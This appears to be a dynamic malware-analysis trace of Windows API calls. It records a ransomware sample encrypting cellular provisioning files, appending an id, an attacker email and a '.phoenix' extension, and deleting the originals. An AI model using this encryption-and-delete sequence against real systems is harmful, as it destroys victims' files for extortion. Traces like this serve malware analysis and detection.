	[0241.963] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0241.963] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=786) returned 1
	[0241.963] CloseHandle (hObject=0x2d4) returned 1
	[0241.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0241.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.964] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0241.964] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0241.964] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0241.964] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0241.964] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0241.964] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0241.964] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x312, lpOverlapped=0x0) returned 1
	[0242.058] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x320, dwBufLen=0x320 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x320) returned 1
	[0242.058] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x320, lpOverlapped=0x0) returned 1
	[0242.059] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0242.059] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.059] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0242.059] CryptDestroyKey (hKey=0x151380) returned 1
	[0242.059] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0242.059] CryptDestroyKey (hKey=0x151400) returned 1
	[0242.059] CloseHandle (hObject=0x2d4) returned 1
	[0242.059] CloseHandle (hObject=0x2c0) returned 1
	[0242.059] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.060] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0242.060] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0242.060] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=714) returned 1
	[0242.060] CloseHandle (hObject=0x2c0) returned 1
	[0242.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.061] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0242.061] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.061] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.061] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0242.061] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0242.061] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.061] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ca, lpOverlapped=0x0) returned 1
	[0242.179] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0242.179] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0242.192] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0242.192] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.192] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0242.192] CryptDestroyKey (hKey=0x151180) returned 1
	[0242.192] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0242.192] CryptDestroyKey (hKey=0x151500) returned 1
	[0242.192] CloseHandle (hObject=0x2c0) returned 1
	[0242.192] CloseHandle (hObject=0x2d4) returned 1
	[0242.193] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.195] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0242.195] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0242.195] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=722) returned 1
	[0242.195] CloseHandle (hObject=0x2c8) returned 1
	[0242.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0242.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.202] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0242.202] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.202] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.202] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.204] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0242.204] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.204] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d2, lpOverlapped=0x0) returned 1
	[0242.372] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0242.372] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0242.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0242.373] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.373] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0242.373] CryptDestroyKey (hKey=0x151100) returned 1
	[0242.373] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0242.373] CryptDestroyKey (hKey=0x151380) returned 1
	[0242.373] CloseHandle (hObject=0x2c8) returned 1
	[0242.373] CloseHandle (hObject=0x2e8) returned 1
	[0242.373] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml")) returned 1
	[0242.374] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0242.374] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.375] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=636) returned 1
	[0242.375] CloseHandle (hObject=0x2e8) returned 1
	[0242.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.375] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.375] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.375] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0242.375] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0242.376] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0242.376] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.376] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x27c, lpOverlapped=0x0) returned 1
	[0242.494] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x280, dwBufLen=0x280 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x280) returned 1
	[0242.494] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x280, lpOverlapped=0x0) returned 1
	[0242.495] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0242.495] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0242.495] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0242.495] CryptDestroyKey (hKey=0x151040) returned 1
	[0242.495] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0242.495] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0242.495] CloseHandle (hObject=0x2e8) returned 1
	[0242.495] CloseHandle (hObject=0x2c8) returned 1
	[0242.495] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.496] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0242.496] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0242.506] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=712) returned 1
	[0242.507] CloseHandle (hObject=0x2c8) returned 1
	[0242.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\228__connections_cellular_zain (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
